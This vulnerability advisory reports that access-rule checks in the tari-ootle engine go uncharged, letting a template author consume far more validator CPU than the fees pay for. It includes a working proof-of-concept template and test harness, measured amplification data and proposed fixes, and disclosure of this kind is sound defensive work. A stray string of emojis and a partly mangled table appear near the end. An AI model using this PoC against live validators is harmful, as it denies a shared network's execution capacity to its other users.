
Cloud Vulnerability DB
A community-led vulnerabilities database
An unprivileged template author can make every validator execute arbitrary CPU work that the engine charges nothing for. Authorization::check_resource_access_rules (crates/engine/src/runtime/tracker_auth.rs:70-93) performs no metered charge, yet its cost is O(requirements × live proofs): AnyOf evaluates requirements until one succeeds, and every failing RuleRequirement::Resource scans the whole call-frame proof set. A template that creates P proofs under a rule with R unsatisfiable resource requirements therefore costs R·P²/2 proof scans while the charge is identical for R = 1 and R = 1022. Measured on the pinned commit (release build): charged points byte-identical across R, 2,623× CPU amplification against the engine's own point budget at R = 1022, P = 2000 (44.2 s wall, 141.6M points charged), and the compute caps permit a single transaction to buy ~2.5 hours of validator CPU (extrapolated from measured per-scan cost) for ~2.1 XTM in fees. This is an availability attack on the committee's execution capacity, not a state or fund compromise. Claimed severity CVSS:4.0 8.7 (High). The landed GHSA-95fq fix prices the edges of a host call but not interior work that scales with a state collection; this path has no meter at all, and the fix is to charge per requirement/proof examined or to memoise the scan.
Repository: tari-project/tari-ootle, pinned at commit 65b0eae0f392693fa16e4180a84f4fa20340df4e. Every citation below is at that revision.
crates/engine/src/runtime/tracker_auth.rsAuthorization::check_resource_access_rules (:70-93) — performs no metered charge.check_require_rule (:178-224) — AnyOf tests requirements in order and stops at the first
that succeeds (:185-192).check_requirement (:229-284) — an unsatisfied RuleRequirement::Resource iterates the current
call frame's proof set until it finds a matching non-empty proof or reaches the end (:235-248),
one WorkingState::get_proof map lookup per proof.crates/engine/src/runtime/impl.rs:3083 (check_resource_access_rules inside
VaultAction::CreateProofByFungibleAmount), and from fourteen other call sites in the same file
(e.g. :588, :1932).crates/engine/src/runtime/working_state.rs:1277-1284 (new_proof calls
current_call_scope_mut()?.add_proof_to_scope(proof_id) at :1283).check_resource_access_rules decides whether the caller may withdraw from a resource, and it does so
without charging a single point. The work it does is not constant:
RequireRule::AnyOf tests requirements in order, stopping at the first that succeeds
(tracker_auth.rs:185-192). The attacker places the only requirement that can succeed last, so all
R failing requirements are evaluated.RuleRequirement::Resource iterates the authorization-scope proof set until it
finds a matching non-empty proof, or the end (tracker_auth.rs:235-248), doing a map lookup and a
resource-address comparison per proof. The requirement names a resource no proof holds, so it runs
to the end of the set every time.
Creating a proof is itself an authorization event: CreateProofByFungibleAmount callscheck_resource_access_rules(Withdraw, ...) before it creates anything (impl.rs:3083), and the
proof it creates is added to the same active call frame's scope (working_state.rs:1283). So a
template method that creates proofs in a loop evaluates the rule against a proof set that grows by one
per iteration:
cost ≈ R × P(P−1)/2 proof scans for P proof creations and R unsatisfiable requirements(the first creation scans an empty proof set, so the sum starts at 0)
while the engine charges each call only PER_ENGINE_CALL = 10_000 points
(crates/engine_types/src/limits.rs:539) plus its argument bytes and items before the handler runs
(crates/engine/src/wasm/process.rs:514-530) and its response bytes and items after it
(:542). Nothing charges for the rule walk or the proof scan,
so the charge is identical whether R is 0, 1 or 1022. A template author controls R (up to the
MAX_ACCESS_RULE_NODES = 1024 limit, crates/template_lib_types/src/access_rules.rs:253) and P
(up to the transaction compute caps), and both are in the attacker's own transaction.
The attacker is a template author and an unprivileged transaction submitter — both named in the
contest's trust model. No victim action, no privileged key and no other participant is involved; the
resource, the rule, the vault and the proofs are all the attacker's own.
absent: an ordinary public fungible, held in a vault but never proved.target: the resource to withdraw from, with OwnerRule::None and Withdraw rule
Restricted(Require(AnyOf([Resource(absent) × R, ScopedToComponent(self)]))).
OwnerRule::None matters: an ownership rule the caller satisfies returns early at
tracker_auth.rs:80-83 and the access rule is never evaluated, while
SubstateOwnerRule::None is the arm that returns Ok(false) (:127) and forces the rule to run.self.vault.create_proof_by_amount(1) P times, keeping each Proof live.
Each iteration is one creation host call that pays the flat charge while the rule evaluation does
R full proof scans, all uncharged. The proofs are dropped afterwards, each drop being one more
metered host call. The whole P = 1000 transaction was charged 70,904,358 points in total
(~70.9k per proof created, including the drops).absent fails (the caller holds no proof of it), so all R requirements run to
the end of the proof set before the trailing ScopedToComponent accepts the withdrawal.GHSA-95fq reported that WasmProcess::handle performed its work unmetered. That patch is present
at this commit — git log -S attributes it to 0283b6aca43f7d438d308cc28e25bc9ae0e4eda9, not to
65b0eae itself. What it charges is visible at crates/engine/src/wasm/process.rs:514-530: one
charge_engine_call() (PER_ENGINE_CALL), then argument bytes and items before decode, and at
:542 the response bytes and items after encode. The generic wrapper has no meter for visits or
time, and the handler's own handler_ns is written only to abi_metrics
(process.rs:531-554), never to the meter.
That prices the edges of a host call, not work inside a handler that scales with state
collections. Some individual handlers do price item counts explicitly — non-fungible IDs moved
(impl.rs:1184-1193), component-state items and references (impl.rs:1232-1251) — which is exactly
the pattern this path lacks. This report is the interior case: at fixed P the charged points are
identical for R = 1 and R = 1022 (see the table above), while the R = 1022 rule takes 534.0× longer
to execute at P = 1000 (the PoC's printed ratio), and 1,145–1,202× the point budget. No charge exists
anywhere in check_resource_access_rules.
Charge in the evaluator, where the work happens: check_resource_access_rules should charge per
requirement node visited and per proof examined (e.g. a charge_native_execution in the proofs()
loop in check_requirement, plus one per AnyOf/AllOf branch). That needs a meter inside
Authorization, which today holds only &WorkingState (tracker_auth.rs:23-25), so either thread a
tracker or charge handle through new or charge in the callers that already hold one. Alternatively
the proof-set scan can be memoised per (scope, resource), so R requirements against the same proof
set cost one scan instead of R — that needs no new parameter. Either way the charge grows with the
work rather than only with the number of host calls.
Template rule_scan (verbatim source below) and integration test crates/engine/tests/rule_scan_poc.rs,
both run against a checkout of 65b0eae. Machine: 8 vCPU AMD, 15 GiB, Ubuntu 24.04, Rust 1.97.1.
Reproduce:
cp -r rule_scan crates/engine/tests/templates/rule_scan
cp rule_scan_poc.rs crates/engine/tests/
cargo test -p tari_engine --test rule_scan_poc --release -- --nocapture --test-threads=1
POC_PROOFS=1000 cargo test -p tari_engine --test rule_scan_poc --release -- --nocapture --test-threads=1Measured (release build; points are the engine's own last_execution_points(), and the budget
column converts them with the in-tree calibration of ~8.4M points per ms of validator CPU,
crates/engine/src/wasm/bulk_metering.rs:34-36):
| R (requirements) | P (proof creations) | wall time | charged wasm | charged native | charged total | budget | amplification |
|---|---|---|---|---|---|---|---|
| 1 | 500 | 0.008 s | 4,087,191 | 31,483,667 | 35,570,858 | 4.23 ms | 1.9× |
| 1022 | 500 | 2.449 s | 4,087,191 | 31,483,667 | 35,570,858 | 4.23 ms | 578× |
| 1 | 1000 | 0.018 s | 8,172,691 | 62,731,667 | 70,904,358 | 8.44 ms | 2.1× |
| 1022 | 1000 | 9.669 s / 10.145 s | 8,172,691 | 62,731,667 | 70,904,358 | 8.44 ms | 1,145–1,202× |
| 1022 | 2000 | 44.215 s | 16,343,691 | 125,227,667 | 141,571,358 | 16.85 ms | 2,623× |
| The charge is byte-identical across R at fixed P — the PoC prints | |||||||
charged points R=1022 vs R=1 at P=1000: 1.000x — while wall time differs by 299.7× at P = 500 | |||||||
| and 534.0× at P = 1000, as the PoC prints from unrounded times. Measured against the point budget | |||||||
| instead, the same runs are 1,145–1,202× (P = 1000) and 2,623× (P = 2000). Doubling P quadruples the | |||||||
| work, as the PoC prints: 4.57× for P = 1000 → 2000 and 4.15× for P = 400 → 200, both in release | |||||||
| builds. That is the predicted quadratic, and because the charge only grows linearly in P the | |||||||
| amplification does too — measured 1,145× at P = 1000 and 2,623× at P = 2000, 2.29× for the doubling. | |||||||
Fees are charged per point (fees/fee_module.rs:147-160, per_wasm_point_cost = 1, | |||||||
wasm_points_cost_divisor = 1000, charged separately for wasm and native points): | |||||||
| floor(8,172,691 / 1000) + floor(62,731,667 / 1000) = 70,903 µTari ≈ 0.071 XTM. That is the shipped | |||||||
| fee table applied to the measured points; the test harness runs with fees disabled, so no fee was | |||||||
| actually settled during the measurement. | |||||||
| The compute caps permit P ≈ 30,000 (wasm 250M / 8.17M per 1000 ≈ 30,600; native 2.4B / 62.7M per | |||||||
| 1000 ≈ 38,000). At the measured ~19 ns per proof scan (the P = 400 release run took 1.559 s for | |||||||
| ~81.6M scans: 1022 × 400×399/2, an end-to-end average that includes everything else the loop does), | |||||||
| that is roughly 2.5 hours of validator CPU in a single transaction. That last figure is extrapolated | |||||||
| from the measured per-lookup cost, not measured directly. |
crates/engine/tests/templates/rule_scan/src/lib.rs)// Copyright 2026 The Tari Project
// SPDX-License-Identifier: BSD-3-Clause
//! PoC template for the uncharged access-rule evaluation.
//!
//! The resource this component holds has a Withdraw rule of
//! `AnyOf([Resource(absent) x R, ScopedToComponent(self)])`. The `Resource(absent)` requirements can
//! never match, so each one scans every proof in the call scope before failing; the trailing
//! `ScopedToComponent` then succeeds, so the rule as a whole allows the withdrawal. Every proof
//! creation therefore pays R full scans over a proof set that grows by one per call.
use tari_template_lib::prelude::*;
#[template]
mod rule_scan {
use super::*;
use tari_template_lib::types::access_rules::{RequireRule, RuleRequirement};
pub struct RuleScan {
vault: Vault,
/// Holds the `absent` resource. Owning it is not enough: the rule requires a *proof*.
_absent: Vault,
}
impl RuleScan {
/// Creates the resource whose Withdraw rule forces `absent_requirements` failed `Resource`
/// scans ahead of the trailing `ScopedToComponent`, and a vault holding `supply` units of it.
pub fn new(absent_requirements: u32, supply: u64) -> Component<Self> {
let allocation = CallerContext::allocate_component_address(None);
// A resource no proof is ever taken of: every `Resource(absent)` requirement fails.
let absent_supply = ResourceBuilder::public_fungible().initial_supply(1u64);
let absent = absent_supply.resource_address();
let absent_vault = Vault::from_bucket(absent_supply);
let mut requirements = Vec::with_capacity(absent_requirements as usize + 1);
for _ in 0..absent_requirements {
requirements.push(RuleRequirement::Resource(absent));
}
// Execution is inside this component, so the AnyOf accepts after the scans above.
requirements.push(RuleRequirement::ScopedToComponent(allocation.get_address()));
let rule = AccessRule::Restricted(RestrictedAccessRule::Require(RequireRule::AnyOf(
requirements.into_boxed_slice(),
)));
let supply = ResourceBuilder::public_fungible()
// No owner, so the ownership check cannot satisfy the withdrawal and the access
// rule below is always evaluated.
.with_owner_rule(OwnerRule::None)
.withdrawable(rule, OWNER)
.initial_supply(supply);
Component::new(Self {
vault: Vault::from_bucket(supply),
_absent: absent_vault,
})
.with_address_allocation(allocation)
.create()
}
/// Creates `count` proofs one at a time, keeping each live so the scope's proof set grows by
/// one per iteration, then drops them so the transaction commits.
pub fn spam_proofs(&mut self, count: u32) {
let mut proofs = Vec::with_capacity(count as usize);
for _ in 0..count {
proofs.push(self.vault.create_proof_by_amount(1u64));
}
for proof in proofs {
proof.drop();
}
}
}
}crates/engine/tests/rule_scan_poc.rs)// Copyright 2026 The Tari Project
// SPDX-License-Identifier: BSD-3-Clause
//! Measures the uncharged access-rule evaluation.
//!
//! A withdraw rule of `AnyOf([Resource(absent) x R, ScopedToComponent(self)])` makes every proof
//! creation scan the call scope's whole proof set R times, while the engine charges the call a flat
//! `PER_ENGINE_CALL` plus argument costs. This test runs the same P proof creations under different
//! R and reports wall time against the points the engine actually charged.
use std::{env, time::Instant};
use tari_ootle_transaction::args;
use tari_template_test_tooling::TemplateTest;
use tari_template_lib::types::ComponentAddress;
const CRATE_PATH: &str = env!("CARGO_MANIFEST_DIR");
struct Measurement {
absent_requirements: u32,
proofs: u32,
seconds: f64,
wasm_points: u64,
native_points: u64,
}
impl Measurement {
fn total_points(&self) -> u64 {
self.wasm_points + self.native_points
}
}
/// Runs one `spam_proofs(P)` transaction against a rule with `R` absent resource requirements.
fn measure(absent_requirements: u32, proofs: u32) -> Measurement {
eprintln!("[poc] R={absent_requirements} P={proofs}: setting up template");
let mut test = TemplateTest::new(CRATE_PATH, ["tests/templates/rule_scan"]);
let component: ComponentAddress =
test.call_function("RuleScan", "new", args![absent_requirements, 1_000_000u64], vec![]);
eprintln!("[poc] R={absent_requirements} P={proofs}: executing");
let started = Instant::now();
test.call_method::<()>(component, "spam_proofs", args![proofs], vec![]);
let seconds = started.elapsed().as_secs_f64();
let points = test.last_execution_points();
let measurement = Measurement {
absent_requirements,
proofs,
seconds,
wasm_points: points.wasm,
native_points: points.native,
};
eprintln!(
"[poc] R={absent_requirements} P={proofs}: {:.3}s charged wasm={} native={}",
measurement.seconds, measurement.wasm_points, measurement.native_points
);
measurement
}
#[test]
fn rule_evaluation_is_charged_flat_while_its_cost_is_quadratic() {
let proofs: u32 = env::var("POC_PROOFS").ok().and_then(|v| v.parse().ok()).unwrap_or(200);
let max_requirements: u32 =
env::var("POC_RULES").ok().and_then(|v| v.parse().ok()).unwrap_or(1022);
// Baseline has no absent requirement at all, so no scans run; the worst case has the maximum
// number of rule nodes `MAX_ACCESS_RULE_NODES` permits (R + AnyOf + ScopedToComponent <= 1024).
let cases = [
(0, proofs),
(1, proofs),
(max_requirements, proofs),
(max_requirements, proofs * 2),
];
let measurements = cases.map(|(r, p)| measure(r, p));
println!("\n| R (absent requirements) | P (proof creations) | wall time s | charged wasm | charged native | charged total |");
println!("|---|---|---|---|---|---|");
for m in &measurements {
println!(
"| {} | {} | {:.3} | {} | {} | {} |",
m.absent_requirements,
m.proofs,
m.seconds,
m.wasm_points,
m.native_points,
m.total_points()
);
}
let (baseline, one, worst, worst_double) = (&measurements[0], &measurements[1], &measurements[2], &measurements[3]);
// The claim: identical P costs the engine essentially the same, whatever R is.
let charged_growth = worst.total_points() as f64 / one.total_points().max(1) as f64;
println!(
"\ncharged points R={} vs R=1 at P={}: {:.3}x",
worst.absent_requirements, proofs, charged_growth
);
println!(
"wall time R={} vs R=1 at P={}: {:.1}x",
worst.absent_requirements,
proofs,
worst.seconds / one.seconds.max(0.000_001)
);
println!(
"wall time R={} at P={} vs P={}: {:.2}x (expect ~4x if quadratic)",
worst.absent_requirements,
worst_double.proofs,
worst.proofs,
worst_double.seconds / worst.seconds.max(0.000_001)
);
println!(
"baseline (R=0) at P={} took {:.3}s, charged {} points",
baseline.proofs,
baseline.seconds,
baseline.total_points()
);
assert!(
charged_growth < 1.10,
"charged points should not scale with the rule's requirement count, got {charged_growth:.3}x"
);
assert!(
worst.seconds > one.seconds * 20.0,
"evaluating the R={} rule should cost far more wall time than R=1: {:.3}s vs {:.3}s",
worst.absent_requirements,
worst.seconds,
one.seconds
);
}High. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.7, High — the v4.0
analogue of the CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 7.5 vector used for GHSA-95fq).
VA:H rests on the cap-limited figure below, not only on the measured 44 s: a single transaction can
be built to deny a validator's execution capacity for hours, and the attacker can repeat it for
~0.071 XTM each.
Impact: an unprivileged attacker buys ~10 s of CPU on every validator that executes the transaction
for ~0.071 XTM, and the caps allow a single transaction to buy ~2.5 hours (extrapolated) for ~2.1 XTM
in execution fees at the same table (also extrapolated). The XTM-per-CPU-second rate improves as P
grows, because the CPU cost is quadratic while the fee is linear — which is why the flat-rate figure
and the cap-limited figure differ. Validators execute the transaction as part of consensus
validation, so this is a liveness/availability attack on the committee, not on the attacker's own
node. It does not corrupt state and does not steal funds.
🐢📟🐉💔💉🐋🚂🏭🎡🐻🗽🚨🐑🐻🍕💳🐨🔱🤡🍓🍒🐼🍕🥄🎲🍓🍑🥑🎳🍵🎹⚽🍄🐣🔦🛵💩🧩🏆😎🍈🔔🙈🙈🧲👖🎯😎💋💅🍕🔑🍀🏠🍍🍟👛📜🎁🍑🏥🎳🍗🎒📖🐊😂
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."